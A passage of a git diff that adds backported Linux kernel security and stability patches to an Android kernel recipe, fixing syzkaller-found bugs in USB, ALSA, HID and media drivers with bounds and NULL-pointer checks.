-187,6 +187,7 @@ static int usb_console_setup(struct console *co, char *options) + tty_kref_put(tty); + reset_open_count: + port->port.count = 0; ++ info->port = NULL; + usb_autopm_put_interface(serial->interface); + error_get_interface: + usb_serial_put(serial); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0318-4a8d50298909-uwb properly check kthreadrun return value.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0318-4a8d50298909-uwb properly check kthreadrun return value.patch new file mode 100644 index 0000000..b28d25f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0318-4a8d50298909-uwb properly check kthreadrun return value.patch @@ -0,0 +1,55 @@ +From 4a8d502989094b0825bb11240bc12e4d9cc5c65b Mon Sep 17 00:00:00 2001 +From: Andrey Konovalov +Date: Thu, 14 Sep 2017 14:30:55 +0200 +Subject: uwb: properly check kthread_run return value + +commit bbf26183b7a6236ba602f4d6a2f7cade35bba043 upstream. + +uwbd_start() calls kthread_run() and checks that the return value is +not NULL. But the return value is not NULL in case kthread_run() fails, +it takes the form of ERR_PTR(-EINTR). + +Use IS_ERR() instead. + +Also add a check to uwbd_stop(). + +Signed-off-by: Andrey Konovalov +Signed-off-by: Greg Kroah-Hartman +--- + drivers/uwb/uwbd.c | 12 ++++++++---- + 1 file changed, 8 insertions(+), 4 deletions(-) + +diff --git a/drivers/uwb/uwbd.c b/drivers/uwb/uwbd.c +index bdcb13cc1d54..5c9828370217 100644 +--- a/drivers/uwb/uwbd.c ++++ b/drivers/uwb/uwbd.c +@@ -303,18 +303,22 @@ static int uwbd(void *param) + /** Start the UWB daemon */ + void uwbd_start(struct uwb_rc *rc) + { +- rc->uwbd.task = kthread_run(uwbd, rc, "uwbd"); +- if (rc->uwbd.task == NULL) ++ struct task_struct *task = kthread_run(uwbd, rc, "uwbd"); ++ if (IS_ERR(task)) { ++ rc->uwbd.task = NULL; + printk(KERN_ERR "UWB: Cannot start management daemon; " + "UWB won't work\n"); +- else ++ } else { ++ rc->uwbd.task = task; + rc->uwbd.pid = rc->uwbd.task->pid; ++ } + } + + /* Stop the UWB daemon and free any unprocessed events */ + void uwbd_stop(struct uwb_rc *rc) + { +- kthread_stop(rc->uwbd.task); ++ if (rc->uwbd.task) ++ kthread_stop(rc->uwbd.task); + uwbd_flush(rc); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0319-9d263dba2528-ALSA usbaudio Kill stray URB at exiting.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0319-9d263dba2528-ALSA usbaudio Kill stray URB at exiting.patch new file mode 100644 index 0000000..21add8e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0319-9d263dba2528-ALSA usbaudio Kill stray URB at exiting.patch @@ -0,0 +1,120 @@ +From 9d263dba25284b31f2544970964decf65b79a2e8 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Tue, 10 Oct 2017 14:10:32 +0200 +Subject: ALSA: usb-audio: Kill stray URB at exiting + +commit 124751d5e63c823092060074bd0abaae61aaa9c4 upstream. + +USB-audio driver may leave a stray URB for the mixer interrupt when it +exits by some error during probe. This leads to a use-after-free +error as spotted by syzkaller like: + ================================================================== + BUG: KASAN: use-after-free in snd_usb_mixer_interrupt+0x604/0x6f0 + Call Trace: + + __dump_stack lib/dump_stack.c:16 + dump_stack+0x292/0x395 lib/dump_stack.c:52 + print_address_description+0x78/0x280 mm/kasan/report.c:252 + kasan_report_error mm/kasan/report.c:351 + kasan_report+0x23d/0x350 mm/kasan/report.c:409 + __asan_report_load8_noabort+0x19/0x20 mm/kasan/report.c:430 + snd_usb_mixer_interrupt+0x604/0x6f0 sound/usb/mixer.c:2490 + __usb_hcd_giveback_urb+0x2e0/0x650 drivers/usb/core/hcd.c:1779 + .... + + Allocated by task 1484: + save_stack_trace+0x1b/0x20 arch/x86/kernel/stacktrace.c:59 + save_stack+0x43/0xd0 mm/kasan/kasan.c:447 + set_track mm/kasan/kasan.c:459 + kasan_kmalloc+0xad/0xe0 mm/kasan/kasan.c:551 + kmem_cache_alloc_trace+0x11e/0x2d0 mm/slub.c:2772 + kmalloc ./include/linux/slab.h:493 + kzalloc ./include/linux/slab.h:666 + snd_usb_create_mixer+0x145/0x1010 sound/usb/mixer.c:2540 + create_standard_mixer_quirk+0x58/0x80 sound/usb/quirks.c:516 + snd_usb_create_quirk+0x92/0x100 sound/usb/quirks.c:560 + create_composite_quirk+0x1c4/0x3e0 sound/usb/quirks.c:59 + snd_usb_create_quirk+0x92/0x100 sound/usb/quirks.c:560 + usb_audio_probe+0x1040/0x2c10 sound/usb/card.c:618 + .... + + Freed by task 1484: + save_stack_trace+0x1b/0x20 arch/x86/kernel/stacktrace.c:59 + save_stack+0x43/0xd0 mm/kasan/kasan.c:447 + set_track mm/kasan/kasan.c:459 + kasan_slab_free+0x72/0xc0 mm/kasan/kasan.c:524 + slab_free_hook mm/slub.c:1390 + slab_free_freelist_hook mm/slub.c:1412 + slab_free mm/slub.c:2988 + kfree+0xf6/0x2f0 mm/slub.c:3919 + snd_usb_mixer_free+0x11a/0x160 sound/usb/mixer.c:2244 + snd_usb_mixer_dev_free+0x36/0x50 sound/usb/mixer.c:2250 + __snd_device_free+0x1ff/0x380 sound/core/device.c:91 + snd_device_free_all+0x8f/0xe0 sound/core/device.c:244 + snd_card_do_free sound/core/init.c:461 + release_card_device+0x47/0x170 sound/core/init.c:181 + device_release+0x13f/0x210 drivers/base/core.c:814 + .... + +Actually such a URB is killed properly at disconnection when the +device gets probed successfully, and what we need is to apply it for +the error-path, too. + +In this patch, we apply snd_usb_mixer_disconnect() at releasing. +Also introduce a new flag, disconnected, to struct usb_mixer_interface +for not performing the disconnection procedure twice. + +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/usb/mixer.c | 12 ++++++++++-- + sound/usb/mixer.h | 1 + + 2 files changed, 11 insertions(+), 2 deletions(-) + +diff --git a/sound/usb/mixer.c b/sound/usb/mixer.c +index 1ceeb9e875a46..d0bbc7b321908 100644 +--- a/sound/usb/mixer.c ++++ b/sound/usb/mixer.c +@@ -2157,6 +2157,9 @@ static int parse_audio_unit(struct mixer_build *state, int unitid) + + static void snd_usb_mixer_free(struct usb_mixer_interface *mixer) + { ++ /* kill pending URBs */ ++ snd_usb_mixer_disconnect(&mixer->list); ++ + kfree(mixer->id_elems); + if (mixer->urb) { + kfree(mixer->urb->transfer_buffer); +@@ -2493,8 +2496,13 @@ void snd_usb_mixer_disconnect(struct list_head *p) + struct usb_mixer_interface *mixer; + + mixer = list_entry(p, struct usb_mixer_interface, list); +- usb_kill_urb(mixer->urb); +- usb_kill_urb(mixer->rc_urb); ++ if (mixer->disconnected) ++ return; ++ if (mixer->urb) ++ usb_kill_urb(mixer->urb); ++ if (mixer->rc_urb) ++ usb_kill_urb(mixer->rc_urb); ++ mixer->disconnected = true; + } + + #ifdef CONFIG_PM +diff --git a/sound/usb/mixer.h b/sound/usb/mixer.h +index 73b1f649447bd..cdff31de12d43 100644 +--- a/sound/usb/mixer.h ++++ b/sound/usb/mixer.h +@@ -23,6 +23,7 @@ struct usb_mixer_interface { + + u8 audigy2nx_leds[3]; + u8 xonar_u1_status; ++ bool disconnected; + }; + + #define MAX_CHANNELS 16 /* max logical channels */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0320-8f0a7703ff9e-USB uas fix bug in handling of alternate settings.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0320-8f0a7703ff9e-USB uas fix bug in handling of alternate settings.patch new file mode 100644 index 0000000..815f2be --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0320-8f0a7703ff9e-USB uas fix bug in handling of alternate settings.patch @@ -0,0 +1,107 @@ +From 8f0a7703ff9e3a5553134c3d9a20573624802541 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Fri, 22 Sep 2017 11:56:49 -0400 +Subject: USB: uas: fix bug in handling of alternate settings + +commit 786de92b3cb26012d3d0f00ee37adf14527f35c4 upstream. + +The uas driver has a subtle bug in the way it handles alternate +settings. The uas_find_uas_alt_setting() routine returns an +altsetting value (the bAlternateSetting number in the descriptor), but +uas_use_uas_driver() then treats that value as an index to the +intf->altsetting array, which it isn't. + +Normally this doesn't cause any problems because the various +alternate settings have bAlternateSetting values 0, 1, 2, ..., so the +value is equal to the index in the array. But this is not guaranteed, +and Andrey Konovalov used the syzkaller fuzzer with KASAN to get a +slab-out-of-bounds error by violating this assumption. + +This patch fixes the bug by making uas_find_uas_alt_setting() return a +pointer to the altsetting entry rather than either the value or the +index. Pointers are less subject to misinterpretation. + +Signed-off-by: Alan Stern +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +CC: Oliver Neukum +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/storage/uas-detect.h | 15 ++++++++------- + drivers/usb/storage/uas.c | 10 +++++----- + 2 files changed, 13 insertions(+), 12 deletions(-) + +diff --git a/drivers/usb/storage/uas-detect.h b/drivers/usb/storage/uas-detect.h +index a451903a6857..a0b92096f6f1 100644 +--- a/drivers/usb/storage/uas-detect.h ++++ b/drivers/usb/storage/uas-detect.h +@@ -9,7 +9,8 @@ static int uas_is_interface(struct usb_host_interface *intf) + intf->desc.bInterfaceProtocol == USB_PR_UAS); + } + +-static int uas_find_uas_alt_setting(struct usb_interface *intf) ++static struct usb_host_interface *uas_find_uas_alt_setting( ++ struct usb_interface *intf) + { + int i; + +@@ -17,10 +18,10 @@ static int uas_find_uas_alt_setting(struct usb_interface *intf) + struct usb_host_interface *alt = &intf->altsetting[i]; + + if (uas_is_interface(alt)) +- return alt->desc.bAlternateSetting; ++ return alt; + } + +- return -ENODEV; ++ return NULL; + } + + static int uas_find_endpoints(struct usb_host_interface *alt, +@@ -58,14 +59,14 @@ static int uas_use_uas_driver(struct usb_interface *intf, + struct usb_device *udev = interface_to_usbdev(intf); + struct usb_hcd *hcd = bus_to_hcd(udev->bus); + unsigned long flags = id->driver_info; +- int r, alt; +- ++ struct usb_host_interface *alt; ++ int r; + + alt = uas_find_uas_alt_setting(intf); +- if (alt < 0) ++ if (!alt) + return 0; + +- r = uas_find_endpoints(&intf->altsetting[alt], eps); ++ r = uas_find_endpoints(alt, eps); + if (r < 0) + return 0; + +diff --git a/drivers/usb/storage/uas.c b/drivers/usb/storage/uas.c +index e390d1d11baf..017278ec4e03 100644 +--- a/drivers/usb/storage/uas.c ++++ b/drivers/usb/storage/uas.c +@@ -866,14 +866,14 @@ MODULE_DEVICE_TABLE(usb, uas_usb_ids); + static int uas_switch_interface(struct usb_device *udev, + struct usb_interface *intf) + { +- int alt; ++ struct usb_host_interface *alt; + + alt = uas_find_uas_alt_setting(intf); +- if (alt < 0) +- return alt; ++ if (!alt) ++ return -ENODEV; + +- return usb_set_interface(udev, +- intf->altsetting[0].desc.bInterfaceNumber, alt); ++ return usb_set_interface(udev, alt->desc.bInterfaceNumber, ++ alt->desc.bAlternateSetting); + } + + static int uas_configure_endpoints(struct uas_dev_info *devinfo) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0321-0502bf54bd01-USB fix outofbounds in usbsetconfiguration.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0321-0502bf54bd01-USB fix outofbounds in usbsetconfiguration.patch new file mode 100644 index 0000000..85d694a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0321-0502bf54bd01-USB fix outofbounds in usbsetconfiguration.patch @@ -0,0 +1,71 @@ +From 0502bf54bd01e8dbf4a057fe76f974074b5fb7e6 Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Tue, 19 Sep 2017 15:07:17 +0200 +Subject: USB: fix out-of-bounds in usb_set_configuration + +commit bd7a3fe770ebd8391d1c7d072ff88e9e76d063eb upstream. + +Andrey Konovalov reported a possible out-of-bounds problem for a USB interface +association descriptor. He writes: + It seems there's no proper size check of a USB_DT_INTERFACE_ASSOCIATION + descriptor. It's only checked that the size is >= 2 in + usb_parse_configuration(), so find_iad() might do out-of-bounds access + to intf_assoc->bInterfaceCount. + +And he's right, we don't check for crazy descriptors of this type very well, so +resolve this problem. Yet another issue found by syzkaller... + +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/core/config.c | 14 +++++++++++--- + include/uapi/linux/usb/ch9.h | 1 + + 2 files changed, 12 insertions(+), 3 deletions(-) + +diff --git a/drivers/usb/core/config.c b/drivers/usb/core/config.c +index 69dfaea4dedec..49e66fb1ce87c 100644 +--- a/drivers/usb/core/config.c ++++ b/drivers/usb/core/config.c +@@ -538,15 +538,23 @@ static int usb_parse_configuration(struct usb_device *dev, int cfgidx, + + } else if (header->bDescriptorType == + USB_DT_INTERFACE_ASSOCIATION) { ++ struct usb_interface_assoc_descriptor *d; ++ ++ d = (struct usb_interface_assoc_descriptor *)header; ++ if (d->bLength < USB_DT_INTERFACE_ASSOCIATION_SIZE) { ++ dev_warn(ddev, ++ "config %d has an invalid interface association descriptor of length %d, skipping\n", ++ cfgno, d->bLength); ++ continue; ++ } ++ + if (iad_num == USB_MAXIADS) { + dev_warn(ddev, "found more Interface " + "Association Descriptors " + "than allocated for in " + "configuration %d\n", cfgno); + } else { +- config->intf_assoc[iad_num] = +- (struct usb_interface_assoc_descriptor +- *)header; ++ config->intf_assoc[iad_num] = d; + iad_num++; + } + +diff --git a/include/uapi/linux/usb/ch9.h b/include/uapi/linux/usb/ch9.h +index aa33fd1b2d4f3..400196c45b3c1 100644 +--- a/include/uapi/linux/usb/ch9.h ++++ b/include/uapi/linux/usb/ch9.h +@@ -705,6 +705,7 @@ struct usb_interface_assoc_descriptor { + __u8 iFunction; + } __attribute__ ((packed)); + ++#define USB_DT_INTERFACE_ASSOCIATION_SIZE 8 + + /*-------------------------------------------------------------------------*/ + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0322-32530efaed51-usb usbtest fix NULL pointer dereference.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0322-32530efaed51-usb usbtest fix NULL pointer dereference.patch new file mode 100644 index 0000000..e9bd219 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0322-32530efaed51-usb usbtest fix NULL pointer dereference.patch @@ -0,0 +1,45 @@ +From 32530efaed51e4df01e2bc151822143d23ae403a Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Fri, 29 Sep 2017 10:54:24 -0400 +Subject: usb: usbtest: fix NULL pointer dereference + +commit 7c80f9e4a588f1925b07134bb2e3689335f6c6d8 upstream. + +If the usbtest driver encounters a device with an IN bulk endpoint but +no OUT bulk endpoint, it will try to dereference a NULL pointer +(out->desc.bEndpointAddress). The problem can be solved by adding a +missing test. + +Signed-off-by: Alan Stern +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Signed-off-by: Felipe Balbi +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/misc/usbtest.c | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +diff --git a/drivers/usb/misc/usbtest.c b/drivers/usb/misc/usbtest.c +index 58b4c2828ee9..9176837442e9 100644 +--- a/drivers/usb/misc/usbtest.c ++++ b/drivers/usb/misc/usbtest.c +@@ -183,12 +183,13 @@ found: + return tmp; + } + +- if (in) { ++ if (in) + dev->in_pipe = usb_rcvbulkpipe(udev, + in->desc.bEndpointAddress & USB_ENDPOINT_NUMBER_MASK); ++ if (out) + dev->out_pipe = usb_sndbulkpipe(udev, + out->desc.bEndpointAddress & USB_ENDPOINT_NUMBER_MASK); +- } ++ + if (iso_in) { + dev->iso_in = &iso_in->desc; + dev->in_iso_pipe = usb_rcvisocpipe(udev, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0323-f4cf5d75416a-HID usbhid fix outofbounds bug.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0323-f4cf5d75416a-HID usbhid fix outofbounds bug.patch new file mode 100644 index 0000000..ddf37b3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0323-f4cf5d75416a-HID usbhid fix outofbounds bug.patch @@ -0,0 +1,110 @@ +From f4cf5d75416ae3d79e03179fe6f4b9f1231ae42c Mon Sep 17 00:00:00 2001 +From: Jaejoong Kim +Date: Thu, 28 Sep 2017 19:16:30 +0900 +Subject: HID: usbhid: fix out-of-bounds bug + +commit f043bfc98c193c284e2cd768fefabe18ac2fed9b upstream. + +The hid descriptor identifies the length and type of subordinate +descriptors for a device. If the received hid descriptor is smaller than +the size of the struct hid_descriptor, it is possible to cause +out-of-bounds. + +In addition, if bNumDescriptors of the hid descriptor have an incorrect +value, this can also cause out-of-bounds while approaching hdesc->desc[n]. + +So check the size of hid descriptor and bNumDescriptors. + + BUG: KASAN: slab-out-of-bounds in usbhid_parse+0x9b1/0xa20 + Read of size 1 at addr ffff88006c5f8edf by task kworker/1:2/1261 + + CPU: 1 PID: 1261 Comm: kworker/1:2 Not tainted + 4.14.0-rc1-42251-gebb2c2437d80 #169 + Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 + Workqueue: usb_hub_wq hub_event + Call Trace: + __dump_stack lib/dump_stack.c:16 + dump_stack+0x292/0x395 lib/dump_stack.c:52 + print_address_description+0x78/0x280 mm/kasan/report.c:252 + kasan_report_error mm/kasan/report.c:351 + kasan_report+0x22f/0x340 mm/kasan/report.c:409 + __asan_report_load1_noabort+0x19/0x20 mm/kasan/report.c:427 + usbhid_parse+0x9b1/0xa20 drivers/hid/usbhid/hid-core.c:1004 + hid_add_device+0x16b/0xb30 drivers/hid/hid-core.c:2944 + usbhid_probe+0xc28/0x1100 drivers/hid/usbhid/hid-core.c:1369 + usb_probe_interface+0x35d/0x8e0 drivers/usb/core/driver.c:361 + really_probe drivers/base/dd.c:413 + driver_probe_device+0x610/0xa00 drivers/base/dd.c:557 + __device_attach_driver+0x230/0x290 drivers/base/dd.c:653 + bus_for_each_drv+0x161/0x210 drivers/base/bus.c:463 + __device_attach+0x26e/0x3d0 drivers/base/dd.c:710 + device_initial_probe+0x1f/0x30 drivers/base/dd.c:757 + bus_probe_device+0x1eb/0x290 drivers/base/bus.c:523 + device_add+0xd0b/0x1660 drivers/base/core.c:1835 + usb_set_configuration+0x104e/0x1870 drivers/usb/core/message.c:1932 + generic_probe+0x73/0xe0 drivers/usb/core/generic.c:174 + usb_probe_device+0xaf/0xe0 drivers/usb/core/driver.c:266 + really_probe drivers/base/dd.c:413 + driver_probe_device+0x610/0xa00 drivers/base/dd.c:557 + __device_attach_driver+0x230/0x290 drivers/base/dd.c:653 + bus_for_each_drv+0x161/0x210 drivers/base/bus.c:463 + __device_attach+0x26e/0x3d0 drivers/base/dd.c:710 + device_initial_probe+0x1f/0x30 drivers/base/dd.c:757 + bus_probe_device+0x1eb/0x290 drivers/base/bus.c:523 + device_add+0xd0b/0x1660 drivers/base/core.c:1835 + usb_new_device+0x7b8/0x1020 drivers/usb/core/hub.c:2457 + hub_port_connect drivers/usb/core/hub.c:4903 + hub_port_connect_change drivers/usb/core/hub.c:5009 + port_event drivers/usb/core/hub.c:5115 + hub_event+0x194d/0x3740 drivers/usb/core/hub.c:5195 + process_one_work+0xc7f/0x1db0 kernel/workqueue.c:2119 + worker_thread+0x221/0x1850 kernel/workqueue.c:2253 + kthread+0x3a1/0x470 kernel/kthread.c:231 + ret_from_fork+0x2a/0x40 arch/x86/entry/entry_64.S:431 + +Reported-by: Andrey Konovalov +Signed-off-by: Jaejoong Kim +Tested-by: Andrey Konovalov +Acked-by: Alan Stern +Signed-off-by: Jiri Kosina +Signed-off-by: Greg Kroah-Hartman +--- + drivers/hid/usbhid/hid-core.c | 12 +++++++++++- + 1 file changed, 11 insertions(+), 1 deletion(-) + +diff --git a/drivers/hid/usbhid/hid-core.c b/drivers/hid/usbhid/hid-core.c +index d3fd973e8776e..c96fbb8c80469 100644 +--- a/drivers/hid/usbhid/hid-core.c ++++ b/drivers/hid/usbhid/hid-core.c +@@ -959,6 +959,8 @@ static int usbhid_parse(struct hid_device *hid) + unsigned int rsize = 0; + char *rdesc; + int ret, n; ++ int num_descriptors; ++ size_t offset = offsetof(struct hid_descriptor, desc); + + quirks = usbhid_lookup_quirk(le16_to_cpu(dev->descriptor.idVendor), + le16_to_cpu(dev->descriptor.idProduct)); +@@ -981,10 +983,18 @@ static int usbhid_parse(struct hid_device *hid) + return -ENODEV; + } + ++ if (hdesc->bLength < sizeof(struct hid_descriptor)) { ++ dbg_hid("hid descriptor is too short\n"); ++ return -EINVAL; ++ } ++ + hid->version = le16_to_cpu(hdesc->bcdHID); + hid->country = hdesc->bCountryCode; + +- for (n = 0; n < hdesc->bNumDescriptors; n++) ++ num_descriptors = min_t(int, hdesc->bNumDescriptors, ++ (hdesc->bLength - offset) / sizeof(struct hid_class_descriptor)); ++ ++ for (n = 0; n < num_descriptors; n++) + if (hdesc->desc[n].bDescriptorType == HID_DT_REPORT) + rsize = le16_to_cpu(hdesc->desc[n].wDescriptorLength); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0324-7c1c88e160ed-USB core fix outofbounds access bug in usbgetbosdescriptor.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0324-7c1c88e160ed-USB core fix outofbounds access bug in usbgetbosdescriptor.patch new file mode 100644 index 0000000..581f694 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0324-7c1c88e160ed-USB core fix outofbounds access bug in usbgetbosdescriptor.patch @@ -0,0 +1,46 @@ +From 7c1c88e160ed14dfb02cb35369e27abe01eb2ca5 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Wed, 18 Oct 2017 12:49:38 -0400 +Subject: USB: core: fix out-of-bounds access bug in usb_get_bos_descriptor() + +commit 1c0edc3633b56000e18d82fc241e3995ca18a69e upstream. + +Andrey used the syzkaller fuzzer to find an out-of-bounds memory +access in usb_get_bos_descriptor(). The code wasn't checking that the +next usb_dev_cap_header structure could fit into the remaining buffer +space. + +This patch fixes the error and also reduces the bNumDeviceCaps field +in the header to match the actual number of capabilities found, in +cases where there are fewer than expected. + +Reported-by: Andrey Konovalov +Signed-off-by: Alan Stern +Tested-by: Andrey Konovalov +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/core/config.c | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +diff --git a/drivers/usb/core/config.c b/drivers/usb/core/config.c +index 49e66fb1ce87c..1c62d31ed896b 100644 +--- a/drivers/usb/core/config.c ++++ b/drivers/usb/core/config.c +@@ -855,10 +855,12 @@ int usb_get_bos_descriptor(struct usb_device *dev) + for (i = 0; i < num; i++) { + buffer += length; + cap = (struct usb_dev_cap_header *)buffer; +- length = cap->bLength; + +- if (total_len < length) ++ if (total_len < sizeof(*cap) || total_len < cap->bLength) { ++ dev->bos->desc->bNumDeviceCaps = i; + break; ++ } ++ length = cap->bLength; + total_len -= length; + + if (cap->bDescriptorType != USB_DT_DEVICE_CAPABILITY) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0325.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0325.diff new file mode 100644 index 0000000..f4902ab --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0325.diff @@ -0,0 +1,13 @@ +diff --git a/drivers/media/usb/cx231xx/cx231xx-cards.c b/drivers/media/usb/cx231xx/cx231xx-cards.c +index d2e240e..8881b4a 100644 +--- a/drivers/media/usb/cx231xx/cx231xx-cards.c ++++ b/drivers/media/usb/cx231xx/cx231xx-cards.c +@@ -1514,7 +1514,7 @@ + nr = dev->devno; + + assoc_desc = udev->actconfig->intf_assoc[0]; +- if (assoc_desc->bFirstInterface != ifnum) { ++ if (!assoc_desc || assoc_desc->bFirstInterface != ifnum) { + cx231xx_err(DRIVER_NAME ": Not found " + "matching IAD interface\n"); + retval = -ENODEV; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0326-b02dac504efc-media imon Fix nullptrderef in imonprobe.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0326-b02dac504efc-media imon Fix nullptrderef in imonprobe.patch new file mode 100644 index 0000000..08a6f34 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0326-b02dac504efc-media imon Fix nullptrderef in imonprobe.patch @@ -0,0 +1,39 @@ +From b02dac504efc353e1e8507c10f835f09757b0068 Mon Sep 17 00:00:00 2001 +From: Arvind Yadav +Date: Mon, 9 Oct 2017 20:14:48 +0200 +Subject: media: imon: Fix null-ptr-deref in imon_probe + +commit 58fd55e838276a0c13d1dc7c387f90f25063cbf3 upstream. + +It seems that the return value of usb_ifnum_to_if() can be NULL and +needs to be checked. + +Signed-off-by: Arvind Yadav +Tested-by: Andrey Konovalov +Signed-off-by: Sean Young +Signed-off-by: Mauro Carvalho Chehab +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + drivers/media/rc/imon.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/media/rc/imon.c b/drivers/media/rc/imon.c +index eb9e7feb9b13..7a16e9ea041c 100644 +--- a/drivers/media/rc/imon.c ++++ b/drivers/media/rc/imon.c +@@ -2419,6 +2419,11 @@ static int imon_probe(struct usb_interface *interface, + mutex_lock(&driver_lock); + + first_if = usb_ifnum_to_if(usbdev, 0); ++ if (!first_if) { ++ ret = -ENODEV; ++ goto fail; ++ } ++ + first_if_ctx = usb_get_intfdata(first_if); + + if (ifnum == 0) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0327-84882420c73f-media dvbusbv2 lmedm04 Improve logic checking of warm start.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0327-84882420c73f-media dvbusbv2 lmedm04 Improve logic checking of warm start.patch new file mode 100644 index 0000000..0ae1ab0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0327-84882420c73f-media dvbusbv2 lmedm04 Improve logic checking of warm start.patch @@ -0,0 +1,90 @@ +From 84882420c73f959fdbad90e538a6d1644c6703dc Mon Sep 17 00:00:00 2001 +From: Malcolm Priestley +Date: Tue, 26 Sep 2017 17:10:20 -0400 +Subject: media: dvb-usb-v2: lmedm04: Improve logic checking of warm start + +commit 3d932ee27e852e4904647f15b64dedca51187ad7 upstream. + +Warm start has no check as whether a genuine device has +connected and proceeds to next execution path. + +Check device should read 0x47 at offset of 2 on USB descriptor read +and it is the amount requested of 6 bytes. + +Fix for +kasan: CONFIG_KASAN_INLINE enabled +kasan: GPF could be caused by NULL-ptr deref or user memory access as + +Reported-by: Andrey Konovalov +Signed-off-by: Malcolm Priestley +Signed-off-by: Mauro Carvalho Chehab +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + drivers/media/usb/dvb-usb-v2/lmedm04.c | 26 ++++++++++++++++++-------- + 1 file changed, 18 insertions(+), 8 deletions(-) + +diff --git a/drivers/media/usb/dvb-usb-v2/lmedm04.c b/drivers/media/usb/dvb-usb-v2/lmedm04.c +index 2273ce78f5c8..ceaffcf8ae5e 100644 +--- a/drivers/media/usb/dvb-usb-v2/lmedm04.c ++++ b/drivers/media/usb/dvb-usb-v2/lmedm04.c +@@ -438,18 +438,23 @@ static int lme2510_pid_filter(struct dvb_usb_adapter *adap, int index, u16 pid, + + static int lme2510_return_status(struct dvb_usb_device *d) + { +- int ret = 0; ++ int ret; + u8 *data; + +- data = kzalloc(10, GFP_KERNEL); ++ data = kzalloc(6, GFP_KERNEL); + if (!data) + return -ENOMEM; + +- ret |= usb_control_msg(d->udev, usb_rcvctrlpipe(d->udev, 0), +- 0x06, 0x80, 0x0302, 0x00, data, 0x0006, 200); +- info("Firmware Status: %x (%x)", ret , data[2]); ++ ret = usb_control_msg(d->udev, usb_rcvctrlpipe(d->udev, 0), ++ 0x06, 0x80, 0x0302, 0x00, ++ data, 0x6, 200); ++ if (ret != 6) ++ ret = -EINVAL; ++ else ++ ret = data[2]; ++ ++ info("Firmware Status: %6ph", data); + +- ret = (ret < 0) ? -ENODEV : data[2]; + kfree(data); + return ret; + } +@@ -1231,6 +1236,7 @@ static int lme2510_get_adapter_count(struct dvb_usb_device *d) + static int lme2510_identify_state(struct dvb_usb_device *d, const char **name) + { + struct lme2510_state *st = d->priv; ++ int status; + + usb_reset_configuration(d->udev); + +@@ -1239,12 +1245,16 @@ static int lme2510_identify_state(struct dvb_usb_device *d, const char **name) + + st->dvb_usb_lme2510_firmware = dvb_usb_lme2510_firmware; + +- if (lme2510_return_status(d) == 0x44) { ++ status = lme2510_return_status(d); ++ if (status == 0x44) { + *name = lme_firmware_switch(d, 0); + return COLD; + } + +- return 0; ++ if (status != 0x47) ++ return -EINVAL; ++ ++ return WARM; + } + + static int lme2510_get_stream_config(struct dvb_frontend *fe, u8 *ts_type, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0328-6cd23a0e51dd-media dvbusbv2 lmedm04 move ts2020 attach to dm04lme2510tuner.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0328-6cd23a0e51dd-media dvbusbv2 lmedm04 move ts2020 attach to dm04lme2510tuner.patch new file mode 100644 index 0000000..3b526e1 --- 